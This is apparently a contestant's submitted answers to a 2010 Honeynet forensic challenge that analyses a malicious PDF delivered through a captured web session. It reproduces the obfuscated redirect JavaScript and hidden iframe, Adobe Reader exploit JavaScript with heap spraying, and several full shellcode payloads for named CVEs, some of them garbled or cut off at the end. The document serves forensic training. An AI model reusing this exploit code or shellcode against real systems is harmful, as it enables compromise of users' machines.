

Challenge 6: Analyzing Malicious Portable Destructive Files (intermediate)

Submission Template

Submit your solution at <http://www.honeynet.org/challenge2010/> by 17:00 EST, Tuesday, November 30th 2010. Results will be released around the third week of December.

Name (required): Mike Mai Tu	Email (required): mt00at@gmail.com
Country (optional): Canada	Profession (optional): <input type="checkbox"/> Student <input type="checkbox"/> Security Professional <input type="checkbox"/> Other

Question 1. How many URL path(s) are involved in this incident? Please list down the URL path(s) found.	Possible Points: 1pt
Tools Used: tShark; Awarded Points:	
Answer 1. Six different URL paths are involved in this incident: (1) http://blog.honeynet.org.my/forensic_challenge (2) http://blog.honeynet.org.my/forensic_challenge/ (3) http://blog.honeynet.org.my/forensic_challenge/getpdf.php (4) http://blog.honeynet.org.my/forensic_challenge/fcexploit.pdf (5) http://blog.honeynet.org.my/forensic_challenge/the_real_malware.exe (6) http://blog.honeynet.org.my/favicon.ico Note that browsers nowadays attempt to retrieve a “favicon.ico” file when connecting to a website, as such the URL path #6 has been logged in the PCAP file.	

Question 2. What code can you find inside the PCAP file? Explain what the code does.	Possible Points: 2pts
Tools Used: chaosreader.pl; FireBug; Awarded Points:	
Answer 2. We can find an inline JavaScript in the index page of http://blog.honeynet.org.my/forensic_challenge/ (List 1). When the page is accessed, the code creates an iFrame (List 2), which will automatically redirect browser to the embedded link http://blog.honeynet.org.my/forensic_challenge/getpdf.php . <pre><html> <body> <!-- ANYTHING written in this HTML file (the file itself or the code inside it) is solely for the purpose of Honeynet Project Forensic Challenge.</pre>	

Any usage towards this file and its content are at your own risk.
 The author will not be responsible if any of those brings harm to you or others.
 This material is for training and educational purposes.
 You have been warned.

```
-->
<script>var DepanNegw=window;var DexeTelae=-44;DexeTelae+=45;XayeZebah='nedajemac';var
GaDemee='e5vfqalVblI5'.replace(/([5fqI\vl5]/g, " ");ZavevTa='fazemezawaseb';var MezRai=parseInt;var DayahDet='zafezed lacet cetexet
jevecakemahama febenep cafa fezebefe yelaxa xejarer hejefaqazedeka kebeneh petaqe zevexej jenewabahegehar jabevame bayap def
vasefezetevamer nefelaba sezaxewe qajeqeme wet reyeqer magemefele xelawece denew jafelev haweqa kel vatabaser mag vejefama xeca
canapevezejev benaper gezazevaja zeyaxaf wehekeh jecalava set senajaj re kameken bazafakaqwate zaralek yeceler kak s hexebeka heha
jeyeteg sase wayefewa tey gawewem wefaravavepayeke xedevec gavayedegeqer casehes watenanesajet jelagal payevexebe pejasep
heqefagabexemew deheler vejegeca hece rafenadamenaxe jaz fex hekases pazetepajamelew cerasej nevayezabevepeke pex gey dac g
dezaleza kekeqebel peyemaf sevanededa cefagey defef cexaqehe sebex galahal zadaxaran lava falamedejgase set law mefe wa mex ces
nam j xaxaped gexeqageb feqeled daseze tehadeh zeheteyera xanahef wepahena xarakel gadazecaq tabexape dareq seje lejegagaxavade
haf jaz cewe me cag kem fed h legefaz taw keyacah wefereweverewaze rapecame kas fagavev facez yefeley lareke seperene gav lece
gahepegasafeve dez gen yeje s waz qas xap c hademax mezezah qepawehe vad zejates pe cahajeg sabebaseqeseda sekesav nebeda
cagareg kec fexewel bejewagedegeqene bajesade lav pasepad baraj xecavan vedepe veranake vej heva kejamacajada wez saj vele x qaj
vad fag y qetamefe jaxa kamatare net zeheweh jeme bale cexebedeleneye dab vev kekaxex jetecajek lejekabe qalef bevegeye caxeb
beleteqe r hele saxafexazat baz dehakajegeqeneke met mefepexafecebera qwertyu iop asdfghjklzxcvbnmqwer tyuiopa sdfghjklzxcvbnmq
hijklzxc vbnmqwer tyu iopasdfghijklzxc vbnmqwe rtyuiopas dfgghjkl zxcvbnmqwertyuio pasdfgh jklzxcvbnmqwert yuiopas dfgghjklzxcvbnm
qwertyuio pasdfghjklzxcvbnmqwerty uiopasd fghjkl zxcvbnmq werty uio pasdfghjklzxcvbnmqwert yuiopasd fghjklzxcvbnmqwe rty uiopasd
fghjklzxc vbnmqwer tyu iopasd fghjklzxcvbnmqwert uiopasd fghjklz qwertyui opasd fghjkl xcr vbnmqwertyuiopar sdfghjklzxcvbnmqwer rtyuiopasd fghjklzxcvbnr
mqr wertyur iopasr dfgghjklzxcvbnmqwertyr uiopasdr fghr jklzxcvbnmqwertr yuiopar sdr ghjklr zxcvbnmqwertyuir opasdr ghjr
klzxcvbnmqwertr yuiopar sr dfgghjklzxcvbnmqwerr dfgghjklzxcvbnmqwerr tyuiopr asdfgr hjklzxcvbnmqwertyuio pasdfgr hjklzxcvbnmqwr
ertyur met mefepexafecebera xanahef wepahena feqeled daseze tabexape dareq zexelede l cefagey defef hademax mezezah req
batekeqahetecah zateyene c zekeqay ratevecek veheleqe k dec tec xece jefexazeqayefes cama bapevexeladet keh lanawabasegecaca
qefejev qepetekene dacegas relevaj fecasece ber veyayes ba kajebed savaketegemeqe wepecer lamege tere ratavecevezax gey dasalaje
gav yepakekehe'.split(' ');var ZeJexn="";var SerayYafags=String;var KesXanavn=-50;KesXanavn+=66;XadHef=78;var BeZao=47;BeZao+=-
47;var FeceSabejo=-46;FeceSabejo+=48;GebJep=92;var
SeWajec='ftr9wogmBwJCW5h6aixrPRCs1ZonjHjdjKueMkD'.replace(/([t9wgBwJW56ixPRs1ZnjHjjKuMkD]/g,
"");MaqTa=5;GaDemee=DepanNegw[GaDemee];SeWajec=SerayYafags[SeWajec];for (YajMedei=BeZao;YajMedei<DayahDet.length-
1;YajMedei+=FeceSabejo) ZeJexn += SeWajec(MezRai((DayahDet[YajMedei+BeZao].length-
1).toString(KesXanavn)+(DayahDet[YajMedei+DexeTelae].length-1).toString(KesXanavn), KesXanavn));GaDemee(ZeJexn);</script>
</body>
</html>
```

List 1: Redirection JavaScript in PCAP file

```
<iframe scrolling="no" width="1" height="1" border="0" frameborder="0"
src="http://blog.honeynet.org.my/forensic_challenge/getpdf.php"></iframe>
```

List 2: iFrame generated by redirection JavaScript code

<p>Question 3. What file(s) can you find within the PCAP file? If any files are found, please zip compress into password protected file (password infected) with file name: [your email]_Forensic Challenge 2010 – Challenge 6 – Extracted Files.zip and submit to http://www.honeynet.org/challenge2010/.</p>	<p>Possible Points: 3pts</p>
<p>Tools Used: chaosreader.pl; Awarded Points:</p>	
<p>Answer 3. We can find a PDF file [fcexploit.pdf with SHA-1 hash: a93bf00077e761152d4ff8a695c423d14c9a66c9] There are additional five html pages, e.g. the one in List 1. However, we would not count those as a “file”.</p>	

<p>Question 4. How many object(s) are contained inside the PDF file?</p>	<p>Possible Points: 1pt</p>
<p>Tools Used: nano; Awarded Points:</p>	
<p>Answer 4. Nineteen objects are contained inside the PDF file. The file is malformed by missing a keyword “endobj” in the Object #11.</p>	

Question 5. Using PDF dictionary and object referencing, explain in detail the flow structure of a PDF file.	Possible Points: 1pt
Tools Used: N/A Awarded Points:	
Answer 5. A basic conforming PDF file shall be constructed of following four elements: (*) (1) A header (2) A body containing the objects (3) A cross-reference table (4) A trailer Execution of a PDF starts from the header followed by locating the root object from the trailer. The root of a PDF object hierarchy is the catalog dictionary. The catalog object contains the pages dictionary which refers to the page tree node. All the following page objects are organized in a tree structure. Actions associated to the pages can be defined in the catalog by adding dictionaries, such as OpenAction, AA, AcroForm, etc. Objects can refer to other indirect objects by using the index. When analyzing a malicious PDF, one can focus on the stream object and the path leading to the execution. The object's connectivity inside the PDF of this challenge can be seen in Figure 1 in the Bonus section. (*) Document Management – Portable Document Format – Part 1: PDF 1.7, First Edition Page 38-43, http://www.adobe.com/content/dam/Adobe/en/devnet/pdf/pdfs/PDF32000_2008.pdf	

Question 6. How many filtering schemes are used for the object streams and what are they? Explain how you can decompress the stream.	Possible Points: 1pt
Tools Used: nano; Awarded Points:	
Answer 6. Four filtering schemes are used for the object streams (*) (1) FlateDecode: The filter decompresses data encoded using the zlib/deflate compression method, reproducing the original text or binary data. (2) ASCII85Decode: The filter decodes data encoded in an ASCII base-85 representation, reproducing the original binary data. (3) LZWDecode: The filter decompresses data encoded using the LZW (Lempel-Ziv-Welch) adaptive compression method, reproducing the original text or binary data. (4) RunLengthDecode: The filter decompresses data encoded using a byte-oriented run-length encoding algorithm, reproducing the original text or binary data. (*) Document Management – Portable Document Format – Part 1: PDF 1.7, First Edition Page 23, http://www.adobe.com/content/dam/Adobe/en/devnet/pdf/pdfs/PDF32000_2008.pdf	

Question 7. Which object streams might contain malicious content? List the object and explain the obfuscation technique(s) used.	Possible Points: 3pts
Tools Used: pdf-parser.py; FireBug; Awarded Points:	
Answer 7. The Object #21, #5, #10, #7, and #9 contain malicious content. Obfuscations used by Obj21 (see List 3): (1) Hex-encoded filter name “/F#69lt#65#72 /F#6c#61#74eDe#63#6f#64e”.	


```

9 0 obj
<<
  /Length 10522
  /Filter [ /FlateDecode /ASCII85Decode /LZWDecode /RunLengthDecode ]
>> stream
X_17844743X_17098774376X_17844743X_17098774361X_17844743X_17098774372X_17844743X_17098774320X_17844743X_1709877
4377X_17844743X_17098774320X_17844743X_1709877433dX_17844743X_17098774320X_17844743X_1709877436eX_17844743X_170
98774365X_17844743X_17098774377X_17844743X_17098774320X_17844743X_17098774353X_17844743X_17098774374X_17844743X
_17098774372X_17844743X_17098774369X_17844743X_1709877436eX_17844743X_17098774367X_17844743X_17098774328X_17844
743X_17098774329X_17844743X_1709877433bX_17844743X_1709877430dX_17844743X_1709877430aX_17844743X_17098774376X_1
7844743X_17098774361X_17844743X_17098774372X_17844743X_17098774320X_17844743X_17098774363X_17844743X_1709877432
0X_17844743X_1709877433dX_17844743X_17098774320X_17844743X_17098774361X_17844743X_17098774370X_17844743X_170987
74370X_17844743X_1709877433bX_17844743X_1709877430dX_17844743X_1709877430aX_17844743X_1709877430dX_17844743X_17
09877430aX_17844743X_17098774366X_17844743X_17098774375X_17844743X_1709877436eX_17844743X_17098774363X_17844743
X_17098774374X_17844743X_17098774369X_17844743X_1709877436fX_17844743X_1709877436eX_17844743X_17098774320X_1784
4743X_17098774373X_17844743X_17098774328X_17844743X_17098774379X_17844743X_17098774361X_17844743X_17098774372X_
17844743X_17098774373X_17844743X_17098774370X_17844743X_1709877432cX_17844743X_17098774320X_17844743X_170987743
6cX_17844743X_17098774365X_17844743X_1709877436eX_17844743X_17098774329X_17844743X_17098774320X_17844743X_17098
77437bX_17844743X_1709877430dX_17844743X_1709877430aX_17844743X_17098774320X_17844743X_17098774320X_17844743X_1
7098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_1784474
3X_17098774320X_17844743X_17098774377X_17844743X_17098774368X_17844743X_17098774369X_17844743X_1709877436cX_178
44743X_17098774365X_17844743X_17098774320X_17844743X_17098774328X_17844743X_17098774379X_17844743X_17098774361X
_17844743X_17098774372X_17844743X_17098774373X_17844743X_17098774370X_17844743X_1709877432eX_17844743X_17098774
36cX_17844743X_17098774365X_17844743X_1709877436eX_17844743X_17098774367X_17844743X_17098774374X_17844743X_1709
8774368X_17844743X_17098774320X_17844743X_1709877432aX_17844743X_17098774320X_17844743X_17098774332X_17844743X_
17098774320X_17844743X_1709877433cX_17844743X_17098774320X_17844743X_1709877436cX_17844743X_17098774365X_178447
43X_1709877436eX_17844743X_17098774329X_17844743X_17098774320X_17844743X_1709877437bX_17844743X_1709877430dX_17
844743X_1709877430aX_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320
X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_1709877
4320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_170
98774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774379X_17844743X_17098774361X_17844743X
_17098774372X_17844743X_17098774373X_17844743X_17098774370X_17844743X_17098774320X_17844743X_1709877432bX_17844
743X_1709877433dX_17844743X_17098774320X_17844743X_17098774379X_17844743X_17098774361X_17844743X_17098774372X_1
7844743X_17098774373X_17844743X_17098774370X_17844743X_1709877433bX_17844743X_1709877430dX_17844743X_1709877430
aX_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_170987
74320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17
098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743
X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774368X_17844743X_17098774369X_1784
4743X_17098774373X_17844743X_1709877432eX_17844743X_17098774378X_17844743X_17098774320X_17844743X_1709877433dX_
17844743X_17098774320X_17844743X_17098774366X_17844743X_17098774361X_17844743X_1709877436cX_17844743X_170987743
73X_17844743X_17098774365X_17844743X_1709877433bX_17844743X_1709877430dX_17844743X_1709877430aX_17844743X_17098
774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_1
7098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_1709877437dX_17844743X_1709877430dX_1784474
3X_1709877430aX_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_178
44743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774376X
_17844743X_17098774361X_17844743X_17098774372X_17844743X_17098774320X_17844743X_17098774365X_17844743X_17098774
349X_17844743X_17098774320X_17844743X_1709877433dX_17844743X_17098774320X_17844743X_17098774333X_17844743X_1709
8774337X_17844743X_17098774337X_17844743X_17098774331X_17844743X_17098774335X_17844743X_1709877433bX_17844743X_
1709877430dX_17844743X_1709877430aX_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_178447
43X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17
74320X_17098774379X_17844743X_17098774361X_17844743X_17098774372X_17844743X_17098774373X_17844743X_17098774370
X_17844743X_17098774372X_17844743X_17098774373X_17844743X_17098774370X_17844743X_1709877432eX_17844743X_170
98774373X_17844743X_17098774375X_17844743X_17098774362X_17844743X_17098774373X_17844743X_17098774374X_17844743X
_17098774372X_17844743X_17098774369X_17844743X_17098774367X_17844743X_17098774367X_17844743X_17098774328X_17844
743X_17098774330X_17844743X_1709877432cX_17844743X_17098774320X_17844743X_1709877436cX_17844743X_17098774365X_1
7844743X_1709877436eX_17844743X_17098774320X_17844743X_1709877432fX_17844743X_17098774320X_17844743X_1709877433
2X_17844743X_17098774329X_17844743X_1709877433bX_17844743X_1709877430dX_17844743X_1709877430aX_17844743X_170987
74320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17
098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743X_17098774320X_17844743
X_17098774374X_17844743X_17098774375X_17844743X_17098774372X_17844743X_1709877436eX_17844743X_17098774320X_1784
4743X_17098774379X_17844743X_17098774361X_17844743X_17098774372X_17844743X_17098774373X_17844743X_17098774370X_
17844743X_17098774379X_17844743X_1709877433bX_17844743X_1709877430dX_17844743X_1709877430aX_17844743X_1709877437
2X_17844743X_1709877433bX_17844743X_1709877430dX_17844743X_1709877430aX_17844743X_1709877430aX_17844743X_17098774
37dX_17844743X_17098774330X_17844743X_17098774331X_17844743X_17098774338X_17844743X_17098774333X_17844743X_17098774334X_178
44743X_17098774330X_17098774320X_17844743X_1709877433bX_17844743X_1709877430dX_17844743X_1709877430aX_17844743X_1709877437dX
_17844743X_1709877430dX_17844743X_1709877430aX_17844743X_17098774376X_17844743X_17098774361X_17844743X_17098774
372X_17844743X_17098774320X_17844743X_1709877436dX_17844743X_17098774320X_17844743X_1709877433dX_17844743X_1709

```


Awarded Points:

Answer 8.

Five exploits are contained inside the PDF file. Only the one below will run and trigger the vulnerability upon opening the PDF file.

- (1) The TIFF image data inside the Object #21, as highlighted in List 3, contains an exploit that attempts to trigger the buffer overflow vulnerability relating to the AcroForm API (CVE-2010-0188). Adobe Reader/Acrobat 8 (<8.2.1) and 9 (<9.3.1) are affected. Note that JavaScript is not used in this exploit.

The other four exploits are highlighted in List 8 of the last stage JavaScript. These exploits perform a series of heap spraying before attempt to trigger the respective vulnerabilities.

- (2) media.newPlayer method (CVE-2009-4324): a buffer overflow vulnerability affecting Adobe Reader/Acrobat 9 (<9.3), and 8 (<8.2).
- (3) util.printf method (CVE-2008-2992): a buffer overflow vulnerability affecting Adobe Reader/Acrobat 8.1.2 and earlier.
- (4) Collab.collectEmailInfo method (CVE-2007-5659): a buffer overflow vulnerability affecting Adobe Reader and Acrobat 8.1.1 and earlier.
- (5) Collab.getIcon method (CVE-2009-0927): a buffer overflow vulnerability affecting Adobe Reader/Acrobat 9 (<9.1), 8 (<8.1.3), and 7 (<7.1.1).

Although these four exploits are working in a standalone mode, none of them will get executed when opening the existing PDF file due to:

- No trigger event that will lead to execution of the JavaScript in Obj5. There is, however, an inactive path as shown in Figure 1.
- The last stage JavaScript is in fact broken after removal of the newlines “\r\n” from the script. The Adobe JavaScript engine fails to interpret the script because it contains four broken comments, e.g., “// cmd.exe payload” (all highlighted in List 8).
- The 3rd trick in the code is with the version select function. The script uses “version = version.replace(/D/g, ”)”, which will unlikely perform any replace actions under the current Adobe versioning. As a result, the 2nd char in the “varision” array will always be a “dot” or “null”. This will be causing confusions as the tester can be tricked to believe there has been either no exploit or not expected exploits.

```
var w = new String(); var c = app; function s(yarsp, len) { while (yarsp.length * 2 < len) { yarsp += yarsp; this.x = false; } var el = 37715; yarsp = yarsp.substring(0, len / 2); return yarsp; var yE = 18340; } var m = new String(""); function cG() { var chunk_size, payload, nopsled; chunk_size = 0x8000; // calc.exe payload payload = unescape("%uabba%ua906%u29f1%ud9c9%ud9c9%u2474%ub1f4%u5d64%uc583%u3104%u0f55%u5503%ue20f%ued5e%uabb9%uc1ea%u2d70%u1953%u3282%u6897%ud01d%u872d%ufd18%ua73a%u02dc%u14cc%u64ba%u66b5%uae41%uf16c%u5623%udb7c%u7bc1%u5e69%u69dd%uf0b0%ucf0c%u1950%udd95%u5ab9%u7b37%u772b%uc55f%u1531%ue18d%u70c8%uc2c5%u4c1c%u7b34%u2f3a%ue82b%u27c9%u848b%ua512%u999d%u2faa%u84c0%u2bee%u768c%u0bc8%u237e%u4cc6%u51c2%u3abc%ufc45%u118%uffe5%uf48a%u df14%u6c2f%u8742%u0a57%u6fe9%ub5b5%uca94%ua6ab%u84ba%u77d1%u4a2c%u74ac%uabc%ub25f%ub269%u5e06%u51d5%u90f3%u978f%uec66%u6942%u6a9b%u18a2%u12ff%u42ba%u7be5%ubb37%u9dc6%u5de0%ufe14%uf2f7%uc6fd%u7812%uda44%u7167%u110f%ubb01%uf81a%ud953%ufc21%u22db%u20f7%u46b9%u27e6%ue127%u8e42%udb91%ufe58%ubaeb%u6492%u07fe%uade3%u4998%uf89a%u9803%u5131%u1192%ufcd5%u3ac9%u352d%u71de%u81cb%u4522%u6d21%uecd2%ucb1c%u4e6d%u8df8%u6eeb%ubff8%u653d%ubaf6%u8766%ud10b%u926b%ubf19%u9f4a%u0a30%u8a92%u7727%u96a7%u6347%ud3b4%u824a%uc4ae%uf24c%uf5ff%ud99b%u0ae1%u7b99%u133d%u91ad%u2573%u96a6%u3b74%ub2a1%u3c73%ue92c%u468c%uea25%u5986%u9261%u71b5%u5164%u71b3%u561f%uabf7%u91c2%ua3e6%uab09%ub60f%ua23c%ub92f%ub74b%ua308%u3cdb%ua4dd%u9221%u2732%u8339%u892b%u34a9%ub0da%ua550%u4f47%u568c%uc8fa%uc5fe%u3983%u7a98%u2306%uff60a%uc88f%u9b8d%u6e27%u305d%u1edd%uadfa%ub232%u4265%u2d3a%uff17%u83f5%u87b2%u5b90"); nopsled = unescape("%u0909%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"); while (nopsled.length < chunk_size) nopsled += nopsled; nopsled_len = chunk_size - (payload.length + 20); nopsled = nopsled.substring(0, nopsled_len); heap_chunks = new Array(); for (var i = 0 ; i < 2500 ; i++) heap_chunks[i] = nopsled + payload; util.printd("1.000000000.000000000.1337 : 3.13.37", new Date()); try { media.newPlayer(null); } catch(e) {} util.printd("1.000000000.000000000.1337 : 3.13.37", new Date()); } var iF = function() {}; function cN() { var o = "o"; // freecell.exe payload var payload = unescape("%uc929%u65b1%ud7db%u74d9%uf424%u83b8%u3830%u5b84%u4331%u0313%u1343%u6883%udacc%u8571%u413d%u6a30%u13f7%ub07d%u5c06%uc249%ube91%u3948%ud6a4%u4246%ud958%uf0e9%ubf3e%ucb93%uf8bc%u520a%u60a7%ubd5e%u804d%ub8b6%ub75a%u5391%uf6b0%ub933%uea10%ubade%u91ba%ud64b%u1fdb%ub411%ub731%u92ab%uf842%u2a7a%ua0b8%uc819%uc7af%u9bee%u7d10%u4e2e%u4201%u8a96%ude7c%ud1cb%u20f0%ue235%uf4e3%u33a8%u6f6e%u8396%u15b9%ub97f%ud56a%u2c92%uf698%ud416%u50c7%u7361%u386d%u1a83%ue308%u7fb1%u7a3f%u20ac%u90a8%u2d99%u544b%u1868%ucced%u8012%u7b51%u
```


Awarded Points:

Answer 9.

There are five payloads inside the PDF file, as shown in List 9 to 13. Among them four are contained in the last stage JavaScript (List 8) and one is embedded in the TIFF image data field.

```
%uabba%ua906%u29f1%ud9c9%ud9c9%u2474%ub1f4%u5d64%uc583%u3104%u0f55%u5503%ue20f%ued5e%uabb9%uc1ea%u2d70%u1953%u3282%u6897%u0d1d%u872d%ufd18%ua73a%u02dc%u14cc%u64ba%u66b5%uae41%uf16c%u5623%udb7c%u7bc1%u5e69%u69dd%uf0b0%ucf0c%u1950%udd95%u5ab9%u7b37%u772b%uc55f%u1531%ue18d%u70c8%uc2c5%u4c1c%u7b34%u2f3a%ue82b%u27c9%u848b%ua512%u999d%u2faa%u84c0%u2bee%u768c%u0bc8%u237e%u4cc6%u51c2%u3abc%ufc45%u1118%uffe5%uf48a%udf14%u6c2f%u8742%u0a57%u6fe9%ub5b5%uca94%ua6ab%u84ba%u77d1%u4a2c%u74ac%uabcf%ub25f%ub269%u5e06%u51d5%u90f3%u978f%uec66%u6942%u6a9b%u18a2%u12ff%u42ba%u7be5%ubb37%u9dc6%u5de0%ufe14%uf2f7%uc6fd%u7812%uda44%u7167%u110f%ubb01%uf81a%ud953%ufc21%u22db%u20f7%u46b9%u27e6%ue127%u8e42%udb91%ufe58%ubaeb%u6492%u07fe%uade3%u4998%uf98a%u9803%u5131%u1192%ufcd5%u3ac9%u352d%u71de%u81cb%u4522%u6d21%uecd2%ucb1c%u4e6d%u8df8%u6eeb%ubff8%u653d%ubaf6%u8766%ud10b%u926b%ubf19%u9f4a%u0a30%u8a92%u7727%u96a7%u6347%ud3b4%u824a%uc4ae%uf24c%uf5ff%ud99b%u0ae1%u7b99%u133d%u91ad%u2573%u96a6%u3b74%ub2a1%u3c73%ue92c%u468c%uea25%u5986%u9261%u71b5%u5164%u71b3%u561f%uabf7%u91c2%ua3e6%uab09%ub60f%ua23c%ub92f%ub74b%ua308%u3c3b%ua4dd%u9221%u2732%u8339%u892b%u34a9%ub0da%ua550%u4f47%u568c%uc8fa%uc5fe%u3983%u7a98%u2306%uf60a%uc88f%u9b8d%u6e27%u305d%u1edd%uadfa%ub232%u4265%u2d3a%uff17%u83f5%u87b2%u5b90
```

List 9: Payload #1 (CVE-2009-4324)

```
%uc929%u65b1%ud7db%u74d9%uf424%u83b8%u3830%u5b84%u4331%u0313%u1343%u6883%udacc%u8571%u413d%u6a30%u13f7%ub07d%u5c06%uc249%ube91%u3948%ud6a4%u4246%ud958%uf0e9%ubf3e%ucb93%uf8bc%u520a%u60a7%ubd5e%u804d%ub8b6%ub75a%u5391%uf6b0%ub933%uea10%ubade%u91ba%ud64b%u1fdb%ub411%ub731%u92ab%uf842%u2a7a%uaob8%uc819%uc7af%u9bee%u7d10%u4e2e%u4201%u8a96%ude7c%ud1cb%u20f0%ue235%uf4e3%u33a8%u6f6e%u8396%u15b9%ub97f%ud56a%u2c92%uf698%ud416%u507c%u7361%u386d%u1a83%ue308%u7fb1%u7a3f%u20ac%u90a8%u2d99%u544b%u1868%ucced%u8012%u7b51%u7bef%u4d0b%u4095%u10c6%udea5%ue327%u47ed%u9d3e%u28f4%u51cb%ucfd7%u476c%u8c04%u286b%u95cd%u4396%u0b57%u58e2%ue11e%u508a%uab14%uf7cf%uab12%ufb47%u96c3%u9932%ud41d%u3bda%u7d77%uf214%ub242%u636f%u299d%u2962%u7be8%u7fe4%ub283%ub18f%uee39%u7b09%ub7de%ue345%u8c16%u2e59%u59c0%u6fa5%u263f%uda5e%u8219%ua5d1%u54fc%u0474%u75fc%u53b1%u7f0b%u599a%u9409%u48e7%uf318%u71c6%uc930%u6317%u3126%ua923%u2249%ua830%u4247%uad22%u3340%ude7b%u9f86%ue365%u8693%ufdba%u5594%u0f8f%u59bf%u0de8%u74d9%u16ff%ua327%u1cf0%ub333%u021a%uda1c%u2831%u2868%u583f%u1c0a%u720b%u6af0%u8a62%u8833%u7ecc%u83ab%u823a%u0e8d%u8e59%uc117%u0c8e%u7204%ufeb6%ue3bc%u9a56%u9545%u10c3%u0698%ube7e%ub5ca%u6f07%u2a75%u0a8a%uc717%ub603%u44b8%u59bc%ue62b%uf459%u93d4%u658e%u377a%u14a6%ua20e%ue517%u49c0%u6cd0%u419d
```

List 10: Payload #2 (CVE-2008-2992)

```
%uc931%u64b1%ub6bf%u558b%ud976%ud9cd%u2474%u58f4%ue883%u31fc%u0d78%u7803%ue20d%u6043%u2c45%u44e1%ub6af%u964c%ub72e%ued9a%u55a9%u1a18%u71cc%u2237%u7e30%u91b7%u1856%ue9ae%u2394%u7479%ucdff%u5e6b%ufc95%ue562%u12a2%u77ad%u53d8%u925f%u4178%ue5b2%ufc62%uf826%ub883%u9e2c%u6c59%uf5dd%u5d2a%uc113%uc7c1%ub031%u6cf7%ua2b6%u1838%u2007%u1d29%ua0b1%u0314%uaee1%ufbd8%u96df%ua80b%uc7cd%uca91%ubfab%u7091%uea13%u7a32%u7bb1%u5ba0%ue130%u3b9f%u8d42%ue4ba%u28a0%u4e20%u29d6%u0147%uf2cc%ucff0%uffb9%u2f62%uc948%u2904%ud333%ude69%u2b88%u10f3%u776b%ueede%uef80%u9f9f%u89c2%uc649%uf510%u36e3%u10fb%ud153%u40ef%u4d82%u41f6%ue4ae%u5cb1%uf58a%uaa78%u3472%u750f%u52e6%u712a%u9faf%u5fea%uc24a%u9cf3%u64f2%u0559%u5ecc%u7957%u0607%ue3a9%u828a%u26fc%uc2cc%u7f97%u1577%u2a0a%u9c21%u73c8%ube3e%u4838%uf571%u04de%uca4d%ue02c%u6126%u4c09%ucab8%u16cf%ueb5c%u3af3%uf869%u3ffd%u02b2%u2bfc%u17bf%u3214%u149e%u8f05%u0fff%uec38%u0df4%ue632%u5709%u0f5f%u481a%u6947%u7913%u5680%u864d%ufe94%u9652%uec98%ua8a6%u13b3%ub6c0%u39da%ub1c7%u1421%ub9d8%u6f32%ufef2%u091c%uf4e9%ude69%ufd04%ud308%ud722%u1af7%u2f5a%u115f2%u2d5b%u2f31%u3e43%u2c3c%u26a4%ub9d6%u2921%u6d1c%uabes%u1e0c%u059e%u8fa4%u3f0e%u3e4d%ucbaa%ud183%u5346%u40f5%ub4de%uf46f%uae52%u7901%u53fa%u1e82%uf294%u8d50%u9b01%u28cf%u50e5%ud262%ue195%u661d%u2003%ufeb8%ubcae
```

List 11: Payload #3 (CVE-2007-5659)

```
%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231%u0312%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%uef78%u982e%u1dcf%u7aa8%ucad5%u92cf%uf3c1%u9d2f%u4766%ufb49%u941e%uc494%u8389%uacfe%u6ad8%udd95%u0935%uf3a2%u801c%ub2d9%u488c%u2678%u0b5c%udd62%u01f4%u5b82%u4792%u4b5e%u2d2e%ubc2a%uf9ff%ue4c1%u9b9a%u83f7%ucc69%u3938%u1fb1%u7e29%uc50b%ue214%u8248%udcd8%ub3b7%u890b%ue425%uab91%u5210%u5192%uc8fc%u9932%u9def%ubaa1%u0795%u1c9f%uacee%uc5ba%ub1c%uaf20%u0832%u3e47%u9129%uacf0%ude04%u1062%ue9e7%u0804%uf391%ubf69%ucc69%u71f0%u1108%ucece%u0d20%ubecf%ub462%ud949%u9971%u15e3%u3c5a%ub053%u5d89%u6c82%u6648%u07ae%u7ad2%u148a%ub09d%u1572%u1aab%u33e6%u5a91%ub8af%u4744%udd4a%u8b98%u47f2%u2af0%ub1cc%u03cf%u2707%ufe1e%ued8a%uca57%u23cd%u030e%u7277%u39bc%ubf21%u6423%ufd3e%u5d93%uea71%u2a42%u2b4d%ud7b8%u0626%u7de4%ue9b8%ue771%uc85c%u0a82%u1f69%u2e8c%u1db2%u258c%u34bf%u2085%u359e%u98b7%u2cff%ue0a5%u6cf4%uf3c6%u7409%uf5ca%u6919%u60cd%u9a13%u4e19%ua74d%uf71c%ub952%uea11%ucba6%u0839%ud1c0%u2527%ud2c7%u10a5%u0d8d%u62bd%ufff2%u6b9a%uebe9%udefee%u1c04%ud389%u3622%u1d77%u4e5a%u177d%u4c5b%u21b3%u5f43%u31b9%u39a4%ubd2a%u4a21%u1291%uc8e5%u0389%u229e%ub43a%u5e0e%u24c3%ud4aa%ud71d%u7246%u4a4c%u53de%ufbf6%uc952%u7098%u72fa%u153a%u1594%ub5a8%ub801%u2057%u29e5%uc6f9%ud08e%u738
```

b%u275f%u1e42%u22e7%u411a

List 12: Payload #4 (CVE-2009-0927)

```
31c9ddc5b8532c1836d97424f45fb16631471883c704034714e2a6c7086c022be0f62b77f3767f826a94857989b192816dbe14320bd84d09d6e3
